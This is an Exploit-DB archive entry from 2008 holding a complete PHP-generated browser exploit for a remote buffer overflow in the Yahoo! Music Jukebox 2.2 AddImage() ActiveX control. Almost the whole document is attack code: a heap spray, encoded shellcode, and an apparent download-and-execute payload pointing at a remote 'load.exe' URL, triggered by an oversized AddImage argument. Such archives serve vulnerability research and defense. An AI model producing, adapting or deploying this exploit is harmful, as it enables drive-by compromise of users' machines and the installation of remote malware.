Yahoo! Music Jukebox 2.2 - 'AddImage()' ActiveX Remote Buffer Overflow (1)

EDB-ID:

5046

Author:

anonymous

Type:

remote

Platform:

Windows

Published:

2008-02-03

<?php

	// 0x48k-ymj by ...
	// based on /5043
	// Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>


	function unescape($s){
		$res=strtoupper(bin2hex($s));
		$g = round(strlen($res)/4);
		if ($g != (strlen($res)/4))$res.="00";
		$out = "";
		for ($i=0; $i<strlen($res);$i+=4)$out.="%u".substr($res, $i+2, 2).substr($res, $i, 2);
		return $out;
	}

	echo '
		<html>
		<body>
		<object id="obj" classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"></object>
		<script language="JavaScript">

			function gsc(){
				var hsta = 0x0c0c0c0c;
				var plc = unescape("%u4343%u4343"+
				"%u0feb%u335b%u66c9%u80b9%u8001%uef33"+
				"%ue243%uebfa%ue805%uffec%uffff%u8b7f"+
				"%udf4e%uefef%u64ef%ue3af%u9f64%u42f3"+
				"%u9f64%u6ee7%uef03%uefeb%u64ef%ub903"+
				"%u6187%ue1a1%u0703%uef11%uefef%uaa66"+
				"%ub9eb%u7787%u6511%u07e1%uef1f%uefef"+
				"%uaa66%ub9e7%uca87%u105f%u072d%uef0d"+
				"%uefef%uaa66%ub9e3%u0087%u0f21%u078f"+
				"%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96"+
				"%u0757%uef29%uefef%uaa66%uaffb%ud76f"+
				"%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef"+
				"%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba"+
				"%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0"+
				"%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c"+
				"%u66bf%ucfaa%u1087%uefef%ubfef%uaa64"+
				"%u85fb%ub6ed%uba64%u07f7%uef8e%uefef"+
				"%uaaec%u28cf%ub3ef%uc191%u288a%uebaf"+
				"%u8a97%uefef%u9a10%u64cf%ue3aa%uee85"+
				"%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8"+
				"%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf"+
				"%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc"+
				"%uefef%uef85%u9a10%u64cf%ue7aa%ued85"+
				"%u64b6%uf7ba%uff07%uefef%u85ef%u6410"+
				"%uffaa%uee85%u64b6%uf7ba%uef07%uefef"+
				"%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec"+
				"%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10"+
				"%u64ba%u6403%ue792%ub264%ub9e3%u9c64"+
				"%u64d3%uf19b%uec97%ub91c%u9964%ueccf"+
				"%udc1c%ua626%u42ae%u2cec%udcb9%ue019"+
				"%uff51%u1dd5%ue79b%u212e%uece2%uaf1d"+
				"%u1e04%u11d4%u9ab1%ub50a%u0464%ub564"+
				"%ueccb%u8932%ue364%u64a4%uf3b5%u32ec"+
				"%ueb64%uec64%ub12a%u2db2%uefe7%u1b07"+
				"%u1011%uba10%ua3bd%ua0a2%uefa1"+
				"'.unescape("http://site.come/load.exe").'");
				var hbs=0x400000;
				var pls=plc.length*2;
				var sss=hbs-(pls+0x38);
				var ss=unescape("%u0c0c%u0c0c");
				ss=gss(ss,sss);
				hbs=(hsta-0x400000)/hbs;
				for(i=0;i<hbs;i++)m[i]=ss+plc;
			}
			function gss(ss,sss){
				while(ss.length<sss*2)ss+=ss;
				ss=ss.substring(0,sss);
				return ss;
			}
			var m=new Array();
			gsc();
			try{
				var tmp=gss(unescape("%u0c0c%u0c0c"),340);
				obj.AddImage("http://"+tmp,1);
			}catch(e){}
		</script>
		</body>
		</html>
	';

?>

# milw0rm.com [2008-02-03]